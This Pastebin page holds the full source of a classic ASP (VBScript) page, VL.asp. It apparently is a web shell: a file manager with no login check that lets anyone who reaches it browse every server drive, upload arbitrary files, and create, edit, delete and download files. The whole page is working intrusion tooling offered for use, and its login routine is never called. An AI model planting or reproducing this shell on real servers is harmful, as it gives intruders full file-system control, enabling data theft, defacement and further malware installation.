Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%@ LANGUAGE="VBSCRIPT" %>
- <html>
- <head>
- <meta charset="utf-8">
- <meta name="viewport" content="width=device-width, initial-scale=1">
- <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
- <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
- <link rel="stylesheet" type="text/css" media="screen" href="http://cheef.github.io/jquery-ace/stylesheets/pygment_twilight.css">
- <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css">
- <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0-alpha1/jquery.min.js"></script>
- <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
- <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/ace.js"></script>
- <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/theme-twilight.js"></script>
- <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/mode-vbscript.js"></script>
- <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.2.2/snippets/vbscript.js"></script>
- <script src="http://cheef.github.io/jquery-ace/javascripts/jquery-ace.min.js"></script>
- <style type=text/css>
- A:link {TEXT-DECORATION: none; color: #DDDDDD; font-weight: bold;}
- A:visited {TEXT-DECORATION: none; color: #DD0000; font-weight: bold;}
- A:hover {TEXT-DECORATION: none; color: #DDDD00; font-weight: bold;}
- body {
- background-color: #102000;
- color: #FFFFFF;
- border: 0;
- }
- tr {
- background-color: #102000;
- color: #FFFFFF;
- border: 0;
- }
- td {
- background-color: #102000;
- color: #FFFFFF;
- border: 0;
- }
- </style>
- </head>
- <body style="margin: 0; border:0;">
- <div class="container-fluit">
- <%
- action=request.querystring("action")
- Select Case action
- Case "delete_file"
- deleteFile()
- Case "download_file"
- download()
- Case "edit_file"
- edit_file()
- Case "create_folder"
- create_folder()
- Case "create_file"
- create_file()
- Case "upload_file"
- upload_file()
- Case "change_disk"
- change_disk()
- 'Case else
- End select
- if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then
- Main_display()
- End if
- %>
- <%
- '------------------------------------------------------------------------------
- Private Sub Main_display()
- xPath=request.querystring("strPath")
- if xPath="" then xPath=Server.MapPath("/")&"\"
- Response.Write("<table class=""table table-bordered""><tr>")
- Response.Write("<td colspan=""2"" style=""text-align: center; word-spacing: 15px;"">")
- Response.Write("<a href=""VL.asp?action=change_disk""><button type=""button"" class=""btn btn-default btn-lg""><span class=""glyphicon glyphicon-hdd""></span> HDD </button></a> ")
- Response.Write("<a href=""VL.asp?action=create_folder&strPath=" & xPath & """><button type=""button"" class=""btn btn-success btn-lg""><span class=""glyphicon glyphicon-folder-close""></span> FOLDER </button></a> ")
- Response.Write("<a href=""VL.asp?action=create_file&strPath=" & xPath & """><button type=""button"" class=""btn btn-info btn-lg""><span class=""glyphicon glyphicon-file""></span> FILE </button></a> ")
- Response.Write("<a href=""VL.asp?action=upload_file&strPath=" & xPath & """><button type=""button"" class=""btn btn-danger btn-lg""><span class=""glyphicon glyphicon-cloud-upload""></span> UPLOAD </button></a> ")
- Response.Write("<a href=""VL.asp""><button type=""button"" class=""btn btn-warning btn-lg""><span class=""glyphicon glyphicon-home""></span> HOME </button></a>")
- Response.Write("</td></tr><tr>")
- strDir = Request("strPath")
- if strDir = "" Then strDir = Server.MapPath("/")
- strParse = strDir
- if Right(strParse, 1) <> "\" Then strParse = strParse & "\"
- lngPos = InStr(1, strParse, "\")
- strOut = "<i class=""fa fa-server""></i><b><a href=""VL.asp?strPath=" & Mid(strParse, 1, lngPos) & """> " & Left(strParse, lngPos) & "</a></b><br>"
- x = 2
- Do While lngPos <> 0
- oldPos = lngPos
- lngPos = InStr(oldPos + 1, strParse, "\")
- if lngPos = 0 Then Exit Do
- For y = 1 To x
- strIndent = strIndent & " "
- Next
- strOut = strOut & strIndent & " <i class=""fa fa-folder-open""></i> <a href=""VL.asp?strPath=" & Mid(strParse, 1, lngPos) & """>" & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "</a><br>"
- x = x + 2
- if lngPos = Len(strParse) Then Exit Do
- Loop
- Response.Write("<td style=""width: 50%;"">")
- Response.Write(strOut)
- strIndent = strIndent & " "
- Set objFSObject = CreateObject("Scripting.FileSystemObject")
- Set objFolder = objFSObject.GetFolder(strDir)
- Set colFolders = objFolder.SubFolders
- For Each intFol in colFolders
- strFName = intFol.name
- Response.Write(strIndent & " <i class=""fa fa-folder-o""></i> <a href=""VL.asp?strPath=" & intFol.Path & """>" & strFName &"</a><br>" & vbcrlf)
- Next
- Response.Write("</td>")
- Response.Write("<td style=""width: 50%;"">")
- Set colFiles = objFolder.Files
- Response.Write("<table class=""table"">")
- For Each intF1 in colFiles
- strFName = intF1.name
- Response.write "<tr><td style=""width: 50%;""><a target=""_blank"" href=""VL.asp?strPath=" & strParse & "&strFile=" & strFName & "&action=edit_file" & """>" & strFName &"</a></td>"
- Response.write "<td style=""width: 50%; text-align: right;""><a href=""VL.asp?strPath=" & strParse & "&strFile=" & strFName & "&action=delete_file" & """><button type=""button"" class=""btn btn-danger btn-xs"">" & "Delete" & "</button></a>"
- Response.write "</td></tr>"
- Next
- Response.Write("</table></td></tr></table>")
- End Sub
- '------------------------------------------------------------------------------
- Private Sub download()
- dim oStream
- dim szFileName
- szFileName=Request.QueryString("strPath") & Request.QueryString("strFile")
- set oStream=Server.CreateObject("ADODB.Stream")
- oStream.Type=1
- oStream.Open
- on error resume next
- oStream.LoadFromFile(szFileName)
- if Err.Number=0 then
- Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
- Response.AddHeader "Content-Length", oStream.Size
- Response.ContentType="bad/type"
- Response.BinaryWrite oStream.Read
- end if
- oStream.Close
- set oStream=nothing
- Destroy()
- End sub
- '------------------------------------------------------------------------------
- Private Sub deletefile()
- Set objFSObject = CreateObject("Scripting.FileSystemObject")
- objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile"))
- Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
- End sub
- '------------------------------------------------------------------------------
- Private Sub upload_file()
- Response.Write("<table class=""table table-striped table-bordered"">")
- Response.Write("<tr><td>Upload File</td></tr><tr><td>")
- Response.Write("<form action='VL.asp?strPath=" & request.querystring("strPath") & "&action=upload_file&action_sub=save" & "' method=""post"" enctype=""multipart/form-data"" id=form name=form>")
- Response.Write("<input name=file1 type=""file"">")
- Response.Write("<input type=submit value=""UPLOAD""></form>")
- Response.Write("</td></tr></table>")
- if request.querystring("action_sub")="save" then
- dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath
- dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary
- dim fso, fle, rst, DataString, FileName
- dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength
- const adLongVarBinary = 205
- const adLongVarchar = 201
- If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
- ContType = Request.ServerVariables("HTTP_Content_Type")
- If LCase(Left(ContType, 19)) = "multipart/form-data" Then
- PosB = InStr(LCase(ContType), "boundary=")
- If PosB > 0 Then Boundary = Mid(ContType, PosB + 9)
- PosB = InStr(LCase(ContType), "boundary=")
- If PosB > 0 then
- PosB = InStr(Boundary, ",")
- If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
- end if
- Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
- End If
- If Length > 0 And Boundary <> "" Then
- Boundary = "--" & Boundary
- Binary = Request.BinaryRead(Length)
- For I=1 to len(Boundary)
- BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1)))
- Next
- BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf))
- PosBBound = InStrB(Binary, BBoundary)
- PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0)
- Do While (PosBBound > 0 And PosEBound > 0)
- PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf)
- PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2)
- PartAHeader = ""
- For I=1 to lenb(PartBHeader)
- PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1)))
- Next
- If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";"
- PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2)
- PosBFld = Instr(lcase(PartAHeader),"name=")
- If PosBFld > 0 Then
- PosEFld = Instr(PosBFld,lcase(PartAHeader),";")
- If PosEFld > 0 Then
- PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5)
- end if
- Do Until Left(PartName,1) <> """"
- PartName = Mid(PartName,2)
- Loop
- Do Until Right(PartName,1) <> """"
- PartName = Left(PartName,Len(PartName)-1)
- Loop
- end if
- PosBFld = Instr(lcase(PartAHeader),"filename=""")
- If PosBFld > 0 Then
- PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""")
- If PosEFld > 0 Then
- FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10)
- end if
- Do Until Left(FileName,1) <> """"
- FileName = Mid(FileName,2)
- Loop
- Do Until Right(FileName,1) <> """"
- FileName = Left(FileName,Len(FileName)-1)
- Loop
- Else
- FileName = ""
- end if
- if vartype(PartContent) = 8 then
- Set rst = CreateObject("ADODB.Recordset")
- PartContentLength = LenB(PartContent)
- if PartContentLength > 0 then
- rst.Fields.Append "data", adLongVarBinary, PartContentLength
- rst.Open
- rst.AddNew
- rst("data").AppendChunk PartContent & ChrB(0)
- rst.Update
- PartContent2 = rst("data").GetChunk(PartContentLength)
- rst.close
- set rst = nothing
- else
- PartContent2 = ChrB(0)
- End If
- else
- PartContent2 = PartContent
- end if
- PartContentLength = LenB(PartContent2)
- if PartContentLength > 0 then
- Set rst = CreateObject("ADODB.Recordset")
- rst.Fields.Append "data", adLongVarChar, PartContentLength
- rst.Open
- rst.AddNew
- rst("data").AppendChunk PartContent2
- rst.Update
- DataString = rst("data")
- rst.close
- set rst = nothing
- Else
- dataString = ""
- End If
- If FileName <> "" Then
- FileName = Mid(Filename,InstrRev(FileName,"\")+1)
- set fso = Server.CreateObject("Scripting.Filesystemobject")
- strPath=request.querystring("strPath")
- if strPath <> "" then
- If right(strPath,1)<>"\" then strPath= strPath & "\"
- set fle = fso.CreateTextFile(strPath & FileName)
- else
- set fle = fso.CreateTextFile(server.MapPath(FileName))
- end if
- fle.write DataString
- fle.close
- set fle = nothing
- set fso = nothing
- else
- End If
- LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2)
- If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then
- PosBBound = 0
- PosEBound = 0
- else
- PosBBound = PosEBound
- PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary)
- End If
- loop
- end if
- end if
- Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
- End if
- End sub
- '------------------------------------------------------------------------------
- Private Sub create_folder()
- Response.Write("<table class=""table table-striped table-bordered"">")
- Response.Write("<tr><td>NEW FOLDER</td></tr><tr><td>")
- Response.Write("<form action='VL.asp?strPath=" & request.querystring("strPath") & "&action=create_folder&action_sub=save'" & " method=""post"">")
- Response.Write("<input type=""text"" name=""newSubF"">")
- Response.Write("<input type=""submit"" name=""submitButtonName"" value=""CREAT FOLDER""></form>")
- Response.Write("</td></tr></table>")
- if request.querystring("action_sub")="save" then
- strPath=request.querystring("strPath")
- Set objFSObject = CreateObject("Scripting.FileSystemObject")
- if strPath <> "" then
- If right(strPath,1)<>"/" then strPath= strPath & "/"
- objFSObject.CreateFolder(strPath & request.form("newSubF"))
- else
- objFSObject.CreateFolder(strParse & request.form("newSubF"))
- end if
- Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
- end if
- End sub
- '------------------------------------------------------------------------------
- Private Sub create_file()
- Response.Write("<table class=""table"">")
- Response.Write("<tr><td>NEW FILE</td></tr><tr><td>")
- Response.Write("<form action='VL.asp?strPath=" & request.querystring("strPath") & "&action=create_file&action_sub=save'" & " method=""post"">")
- Response.Write("<input type=""text"" name=""newFile"">")
- Response.Write("<input type=""submit"" name=""submitButtonName"" value=""CREAT FILE""></form>")
- Response.Write("</td></tr></table>")
- if request.querystring("action_sub")="save" then
- strPath=request.querystring("strPath")
- Set objFSObject = CreateObject("Scripting.FileSystemObject")
- if strPath <> "" then
- If right(strPath,1)<>"/" then strPath= strPath & "/"
- objFSObject.CreateTextFile(strPath & request.form("newFile"))
- else
- objFSObject.CreateTextFile(strParse & request.form("newFile"))
- end if
- Response.redirect "VL.asp?strPath=" & request.querystring("strPath")
- End if
- End sub
- '------------------------------------------------------------------------------
- Private Sub edit_file()
- Set fso = Server.CreateObject("Scripting.FileSystemObject")
- File=request.querystring("strFile")
- Path=request.querystring("strPath")
- str_edit_File=Path & File
- response.write("<CODE>" & str_edit_File & "</CODE>")
- action_sub=request.querystring("action_sub")
- Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE)
- If action_sub="save" then
- Set ts = fso.CreateTextFile (str_edit_File)
- ts.Write Request.Form("FileContent")
- Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE)
- Response.Write "<mark>SAVED SUCCESSFULLY</mark>"
- End if
- Response.Write("<form action='VL.asp?strPath=" & Path & "&strFile=" & File & "&action=edit_file&action_sub=save' id=form_edit method=post name=form_edit>")
- Response.Write("<br><input id=submit1 name=submit1 type=submit value=""Save"">")
- response.write("<Textarea class=my-code-area rows=39 name=FileContent style=""width: 100%"">")
- On Error Resume Next
- Response.Write Server.HTMLEncode(ts.ReadAll)
- Response.write("</Textarea></form>")
- End sub
- '------------------------------------------------------------------------------
- Private Sub change_disk()
- Response.Write("<table class=""table table-striped table-bordered"">")
- Response.Write("<tr><td>HDD</td></tr><tr><td>")
- Response.write("<form action=""VL.asp"" method=""get"">")
- Server.ScriptTimeout = 30
- Set fsDrive = CreateObject("Scripting.FileSystemObject")
- Set drvHack = fsDrive.Drives
- For Each drvType In drvHack
- strDrives = strDrives & "<option value=""" & drvType & """>" & drvType & "</option>"
- x = x + 1
- Next
- Response.write("<Select name=""strPath"">")
- Response.write(strDrives)
- Response.write("</Select><br><input type=""submit"" name=""submit"" value=""CHANGE HDD""></form>")
- Response.Write("</td></tr></table>")
- End sub
- '------------------------------------------------------------------------------
- Private Sub check_login()
- Response.Write("<table class=""table table-striped table-bordered"">")
- Response.Write("<tr><td></td></tr><tr><td>")
- Response.Write("<form name=""Introd"" method=""post"" action=""VL.asp"">")
- Response.Write("<input name=name>")
- Response.Write("<input type=password name=password>")
- Response.Write("<input type=submit value=""OK""></form>")
- Response.Write("</td></tr></table>")
- End sub
- '------------------------------------------------------------------------------
- %>
- <script>
- $('.my-code-area').ace({ theme: 'twilight', lang: 'vbscript' })
- </script>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement